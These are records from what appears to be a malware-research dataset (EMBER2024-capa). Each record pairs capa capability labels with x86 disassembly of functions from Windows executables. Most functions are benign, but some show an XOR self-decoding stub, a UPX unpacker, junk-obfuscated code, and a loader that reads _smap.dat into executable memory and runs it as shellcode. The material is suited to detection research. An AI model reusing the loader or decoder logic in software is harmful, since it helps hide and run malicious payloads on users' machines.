joyce8/EMBER2024-capa huggingface dataset:
Function at 0x56c5c0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x5e5e08]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x44], ecx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
call fcn.00415320
jmp 0x56c5ef
push 0
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 8]
call fcn.00415940
lea edx, [ebp - 0x38]
push edx
mov ecx, dword [ebp + 8]
call fcn.00415350
push eax
lea ecx, [ebp - 8]
call fcn.00415980
movzx eax, al
test eax, eax
je 0x56c66f
lea ecx, [ebp - 8]
call fcn.004158e0
mov ecx, eax
call fcn.004048a0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
push ecx
call fcn.00568260
add esp, 8
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0x28]
push edx
call fcn.00419960
add esp, 0x20
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x28]
call fcn.00401830
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x56c662
mov byte [ebp - 0x3d], 0
lea ecx, [ebp - 0x28]
call fcn.004017f0
mov al, byte [ebp - 0x3d]
jmp 0x56c671
lea ecx, [ebp - 0x28]
call fcn.004017f0
jmp 0x56c5e1
mov al, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004b645d
mov esp, ebp
pop ebp
ret 4

Function at 0x56c690
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x5e5e08]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x44], ecx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
call fcn.00415320
jmp 0x56c6bf
push 0
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 8]
call fcn.00415940
lea edx, [ebp - 0x38]
push edx
mov ecx, dword [ebp + 8]
call fcn.00415350
push eax
lea ecx, [ebp - 8]
call fcn.00415980
movzx eax, al
test eax, eax
je 0x56c73f
lea ecx, [ebp - 8]
call fcn.004158e0
mov ecx, eax
call fcn.004048a0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
push ecx
call fcn.00568260
add esp, 8
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0x28]
push edx
call fcn.00419960
add esp, 0x20
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x28]
call fcn.00401830
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x56c732
mov byte [ebp - 0x3d], 0
lea ecx, [ebp - 0x28]
call fcn.004017f0
mov al, byte [ebp - 0x3d]
jmp 0x56c741
lea ecx, [ebp - 0x28]
call fcn.004017f0
jmp 0x56c6b1
mov al, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004b645d
mov esp, ebp
pop ebp
ret 4
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6a
sub eax, 0x403d10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x40d193
Capabilities:
Encode data using base64

Disassembly:
pushal
clc
nop
nop
cld
jae 0x40e6c2
add byte [eax], al
add byte [eax], al
out dx, eax
out dx, eax
cwde
add byte [eax], ch
Function at 0x40e889
Capabilities:
Encode data using base64

Disassembly:
xor eax, eax
push edi
mov edi, 0x40cbce
xchg dword [esp], edi
ret
push ebx
call fcn.0040ec5d
clc
nop
nop
cld
jae 0x40cfc9
add byte [eax - 0x3e], cl
mov eax, 0xf8f3032b
nop
nop
cld
jae 0x40f5a5
retf
add ecx, dword [ecx + 0x3c]
push ebp
mov ebp, esp
nop
leave
jmp 0x40d1e8
add ebp, ebx
push edi
mov edi, 0x40d976
xchg dword [esp], edi
ret
jne 0x40c94a
test dword [ebx], edx
add byte [eax], al
add al, bh
clc
nop
nop
cld
jae 0x40ca15
movsd dword es:[edi], dword [esi]
xor esp, dword [ecx + 0x73778317]
mov ebp, 0xbf57c033
jle 0x40c942
xor eax, eax
push edi
mov edi, 0x40f27e
xchg dword [esp], edi
ret
inc eax
add byte [edi + 0xc3243c], al
add bh, ch
add byte [eax], al
and ecx, dword [0x4de91a00]
pop es
add byte [eax], al
jae 0x40c932
ret 0xd00
mov eax, dword [edx + 0x18]
push edi
mov edi, 0x40d935
xchg dword [esp], edi
ret
pop eax
push edi
mov edi, 0x40d3f3
xchg dword [esp], edi
ret
mov ecx, dword [ebp + 0xc]
clc
nop
nop
cld
jae 0x40c5ae
mov eax, 0xf2480014
mov fs, word [edx]
mov ebp, esp
xchg ecx, ecx
clc
nop
nop
cld
jae 0x40d26d
add byte [ecx], cl
add byte [eax - 0x2feb7000], bh
add byte [ebx + 0x36d85a1], cl
int1
mov ecx, dword [ecx + 0x38]
clc
mov dword [ebp + 0x28], edi
clc
nop
nop
cld
jae 0x40de70
or eax, 0xbfca9800
add byte [esi + 0x19d5e88c], dl
add byte [eax], al
clc
nop
nop
cld
jae 0x40e3f1
inc edx
pop edi
add byte [eax], al
inc edx
add byte [ebx - 0x74aab615], cl
in al, dx
nop
leave
jmp 0x40c931
pop ecx
push ebp
mov ebp, esp
nop
leave
jmp 0x40de85
popal
clc
nop
nop
cld
jae 0x40c423
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edx, 0xbf0f6aec
push ecx
push es
movsx edx, word [ecx + 6]
clc
nop
nop
cld
jae 0x40eb17
add byte [eax], al
add byte [0x2f04e133], cl
mov ecx, 0x65
clc
nop
nop
cld
jae 0x40f410
jb 0x40deae
leave
add ah, bl
mov ecx, 0x2cb
clc
nop
nop
cld
jae 0x40c3c9
add byte [esi], dl
inc edi
add ah, bh
pushal
push ebp
mov ebp, esp
nop
leave
jmp 0x40f4eb
add byte [edi + 0xc3243c], al
add dl, al
add byte [eax], al
mov eax, 0x7c3f8012
pushal
clc
nop
nop
cld
jae 0x40ef95
add byte [eax], 0x14
add byte [eax], al
mov es, word [eax]
cwde
loope 0x40e84f
add byte [ebx + 0x23fa71b5], cl
popal
add al, 0xf8
nop
nop
cld
jae 0x40d107
not byte [eax + 0xec3300]
leave
add ecx, eax
clc
nop
mov ecx, ebx
clc
nop
nop
cld
jae 0x40c5ed
inc edx
add byte [edi], bh
add byte [edx + eax*8], dl
add byte [ebp - 0xd075b0d], bh
nop
nop
cld
jae 0x40d534
cwde
inc esp
and esp, dword [ebp + 0x7f3f00ca]
add ebx, dword [ebx + 0x3c]
push edi
mov edi, 0x40f182
xchg dword [esp], edi
ret
add edi, ebx
clc
nop
nop
cld
jae 0x40c602
add byte [ebx], ah
add byte [eax], al
add byte [eax + ebx*4], dl
cld
Function at 0x10001b60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x101b6e80]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push 0x1019aed0
push str.kernel32.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x1019aee0
push str.kernel32.dll
mov dword [ebp - 0x218], eax
call ebx
push eax
call edi
push 0x1019aef0
push str.kernel32.dll
mov esi, eax
call ebx
push eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov ebx, eax
mov dword [ebp - 0x210], 0x1000
call esi
mov esi, eax
test esi, esi
je 0x10001c78
call fcn.100023fa
push 0x104
mov ecx, dword [eax + 8]
lea eax, [ebp - 0x108]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str._smap.dat
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0
push 0
push 3
push 0
push 1
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001c78
push 0
lea eax, [ebp - 0x210]
push eax
push 0x100000
push esi
push edi
call ebx
test eax, eax
je 0x10001c78
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x214]
push eax
push 0x40
push 0x100000
push esi
call dword [ebp - 0x218]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1013bd6b
mov esp, ebp
pop ebp
ret

Function at 0x100043e5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000443e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000443e
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 0x10]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x1000442f
cmp esi, ecx
jae 0x1000443e
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x1000441d
cmp esi, ecx
jae 0x1000443e
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
jmp 0x10004440
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10005cd3
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x18
mov eax, 0x1015c859
call fcn.1013c459
mov eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp + 0x10]
xor edi, edi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebx], edi
mov dword [esi], edi
cmp dword [eax + 0x58], edi
je 0x10005d7b
push dword [ebp + 8]
call fcn.10005ff0
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10005e02
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
push ecx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push ecx
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x14], edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov dword [esi], ecx
test eax, eax
jne 0x10005d64
push ecx
call fcn.10016e0e
pop ecx
lea ecx, [ebp - 0x14]
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10005d64
xor edi, edi
inc edi
jmp 0x10005d6e
push dword [ebx]
call fcn.10016e17
pop ecx
mov dword [ebx], edi
lea ecx, [ebp - 0x24]
call fcn.10005b9a
jmp 0x10005e00
mov eax, dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov esi, dword [eax + 0x84]
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call dword [0x1016b960]
mov ecx, dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 1
mov ecx, dword [eax - 0xc]
test ecx, ecx
je 0x10005df8
mov esi, dword [ebp + 0x14]
shr ecx, 1
push ecx
mov dword [esi], ecx
call fcn.10016e0e
mov dword [ebx], eax
pop ecx
cmp dword [esi], edi
jbe 0x10005df2
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x10]
call fcn.10005b77
push esi
lea ecx, [ebp - 0x10]
lea ebx, [eax - 1]
shl bl, 4
sub bl, 0x41
call fcn.10005b77
mov ecx, dword [ebp + 0x10]
add al, bl
mov ecx, dword [ecx]
mov byte [edi + ecx], al
inc edi
mov eax, dword [ebp + 0x14]
cmp edi, dword [eax]
jb 0x10005dbf
mov eax, dword [ebp - 0x10]
xor edi, edi
inc edi
lea ecx, [eax - 0x10]
call fcn.10002648
mov eax, edi
call fcn.1013c427
ret 0x10

Function at 0x10005e0a
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x10005e5d
push esi
push dword [ebp + 8]
call fcn.10005ff0
mov edi, eax
test edi, edi
je 0x10005e58
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10005e58
mov eax, dword [ebp - 8]
jmp 0x10005e6f
mov eax, dword [ebp + 0x10]
jmp 0x10005e6f
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
pop esi
leave
ret 0xc
Function at 0x10005e75
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015c886
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.1013c610
mov eax, dword [0x101b6e80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x101c], edi
mov dword [ebp - 0x1024], eax
cmp dword [ecx + 0x58], ebx
je 0x10005fa3
push ebx
push edx
call fcn.10005ff0
mov ebx, eax
test ebx, ebx
jne 0x10005edd
push esi
jmp 0x10005fcb
lea ecx, [ebp - 0x1014]
call fcn.10001fee
xor ecx, ecx
lea eax, [ebp - 0x1018]
push eax
push ecx
lea eax, [ebp - 0x1020]
mov dword [ebp - 4], ecx
push eax
push ecx
push dword [ebp - 0x1024]
mov dword [ebp - 0x1020], ecx
push ebx
mov dword [ebp - 0x1018], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x101c], eax
test eax, eax
jne 0x10005f62
push dword [ebp - 0x1018]
lea ecx, [ebp - 0x1014]
call fcn.100025ca
lea ecx, [ebp - 0x1018]
push ecx
push eax
lea eax, [ebp - 0x1020]
push eax
push 0
push dword [ebp - 0x1024]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1014]
mov dword [ebp - 0x101c], eax
call fcn.1000612c
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x101c], 0
jne 0x10005f90
mov esi, dword [ebp - 0x1014]
add esi, 0xfffffff0
push esi
call fcn.100031cf
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.10002648
jmp 0x10005fd2
push esi
mov ecx, edi
call fcn.100027af
mov ecx, dword [ebp - 0x1014]
lea ecx, [ecx - 0x10]
jmp 0x10005f89
test esi, esi
jne 0x10005fac
mov esi, 0x1016bc64
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x1010]
push 0x1000
push ecx
push esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x1010]
push eax
mov ecx, edi
call fcn.100027af
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1013bd6b
leave
ret 0x10
Function at 0x1000618d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ebx, ebx
push edi
mov edi, ecx
cmp dword [edi + 0x58], ebx
je 0x100061d5
push ebx
push dword [ebp + 8]
call fcn.10005ff0
mov edi, eax
test edi, edi
je 0x10006236
push dword [ebp + 0x14]
push esi
push 3
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
jmp 0x10006236
mov eax, dword [ebp + 0x14]
lea eax, [eax*2 + 1]
push eax
call fcn.10016e0e
mov edx, dword [ebp + 0x14]
mov ebx, eax
pop ecx
xor ecx, ecx
test edx, edx
je 0x1000620c
mov al, byte [esi + ecx]
and al, 0xf
add al, 0x41
mov byte [ebx + ecx*2], al
mov al, byte [esi + ecx]
shr al, 4
add al, 0x41
mov byte [ebx + ecx*2 + 1], al
inc ecx
cmp ecx, edx
jb 0x100061f1
mov byte [ebx + ecx*2], 0
mov eax, dword [edi]
push ebx
push dword [ebp + 0xc]
mov esi, dword [eax + 0x88]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1016b960]
mov ecx, edi
call esi
push ebx
mov esi, eax
call fcn.10016e17
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x1000800c
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov edx, ecx
xor eax, eax
mov ecx, dword [ebp + 8]
inc eax
push edi
xor edi, edi
mov dword [ebp - 8], edx
inc edi
mov dword [ebp - 4], eax
lea ebx, [ecx + 0xc]
cmp dword [ecx + 8], edi
jle 0x10008088
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x1000804d
mov eax, dword [edx + 0x10]
cmp dword [eax + edi*8 + 4], esi
je 0x1000804d
mov eax, dword [ebx]
cmp dword [eax + edi*4], 0
je 0x1000807b
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x1000807e
mov eax, dword [ebx]
mov eax, dword [eax + edi*4]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10008075
mov eax, dword [eax]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x1016b960]
mov ecx, dword [ebp - 0xc]
call esi
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov esi, dword [ebp + 0xc]
mov eax, dword [ebx]
and dword [eax + edi*4], 0
mov eax, dword [ebp - 4]
inc edi
cmp edi, dword [ecx + 8]
jl 0x10008031
test eax, eax
je 0x100080cf
lea esi, [edx + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
add ecx, 0x14
push edi
call fcn.10008300
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [edi]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x1016b960]
mov ecx, edi
call esi
mov eax, dword [ebp - 8]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10008352
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0x10
mov eax, 0x1015caa0
call fcn.1013c4c2
mov ebx, ecx
mov dword [ebp - 0x18], ebx
lea eax, [ebx + 0x1c]
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [ebp + 8]
test edi, edi
jle 0x10008449
cmp edi, dword [ebx + 0xc]
jge 0x10008449
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x100083a9
cmp edi, dword [esi + 8]
jl 0x10008437
cmp dword [ebp + 0xc], 0
je 0x10008437
xor edi, edi
jmp 0x100083db
xor edi, edi
push 0x10
mov dword [ebp - 4], edi
call fcn.10007d9e
mov esi, eax
test esi, esi
je 0x100083c3
mov dword [esi], vtable.CThreadData.0
jmp 0x100083c5
mov esi, edi
or dword [ebp - 4], 0xffffffff
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
mov dword [esi + eax], ecx
mov dword [ebx + 0x14], esi
push 4
push dword [ebx + 0xc]
call fcn.10007c5d
cmp dword [esi + 0xc], 0
pop ecx
pop ecx
jne 0x100083f7
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x10008403
push 2
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov edx, eax
test edx, edx
je 0x10008470
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], edx
mov eax, dword [ebx + 0xc]
sub eax, ecx
shl eax, 2
push eax
lea eax, [edx + ecx*4]
push edi
push eax
call fcn.1013dec0
mov eax, dword [ebx + 0xc]
add esp, 0xc
mov dword [esi + 8], eax
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov edi, dword [ebp + 8]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x10008449
cmp edi, dword [esi + 8]
jge 0x10008449
mov eax, dword [ebp + 0xc]
mov dword [ecx + edi*4], eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.1013c427
ret 8
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.1000793c
int3
Function at 0x1000a9b3
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x101b6e80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [0x101bb544]
mov dword [ebp - 0x20], ebx
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x1c], edi
test eax, eax
jne 0x1000aa0c
push 0x1016e714
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000aa31
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_EncodePointer]
mov dword [0x101bb544], eax
jmp 0x1000aa15
push eax
call dword [sym.imp.KERNEL32.dll_DecodePointer]
mov esi, eax
test esi, esi
je 0x1000aa31
mov eax, dword [ebp - 0x18]
mov ecx, esi
push eax
push edi
push ebx
push dword [ebp + 8]
call dword [0x1016b960]
call esi
jmp 0x1000ab73
and dword [ebx], 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx ebx, ax
lea eax, [ebp - 0x14]
push 7
push eax
push ebx
call fcn.1000ad2a
lea eax, [ebp - 0x14]
push eax
call fcn.10141320
mov esi, eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push dword [eax]
push edi
call fcn.10145ce9
mov eax, dword [ebp - 0x20]
lea edi, [esi + 1]
push 7
and ebx, 0x3ff
inc dword [eax]
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.1000ad2a
lea eax, [ebp - 0x14]
push eax
call fcn.10141320
lea esi, [eax + 1]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
sub ecx, edi
push ecx
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx + edi*2]
push ecx
call fcn.10145ce9
mov eax, dword [ebp - 0x20]
add esp, 0x38
add edi, esi
inc dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx ebx, ax
lea eax, [ebp - 0x14]
push 7
push eax
push ebx
call fcn.1000ad2a
lea eax, [ebp - 0x14]
push eax
call fcn.10141320
lea esi, [eax + 1]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub ecx, edi
push ecx
lea ecx, [eax + edi*2]
push ecx
call fcn.10145ce9
mov eax, dword [ebp - 0x20]
add edi, esi
push 7
and ebx, 0x3ff
inc dword [eax]
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.1000ad2a
lea eax, [ebp - 0x14]
push eax
call fcn.10141320
lea esi, [eax + 1]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub ecx, edi
push ecx
lea ecx, [eax + edi*2]
push ecx
call fcn.10145ce9
mov ebx, dword [ebp - 0x20]
lea eax, [ebp - 0x14]
push 7
push eax
add edi, esi
inc dword [ebx]
push 0x800
call fcn.1000ad2a
add esp, 0x44
lea eax, [ebp - 0x14]
push eax
call fcn.10141320
mov esi, eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub ecx, edi
push ecx
lea ecx, [eax + edi*2]
push ecx
call fcn.10145ce9
mov ecx, dword [ebp - 0x1c]
lea eax, [edi + esi]
add esp, 0x10
xor edx, edx
inc dword [ebx]
mov word [ecx + eax*2 + 2], dx
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1013bd6b
leave
ret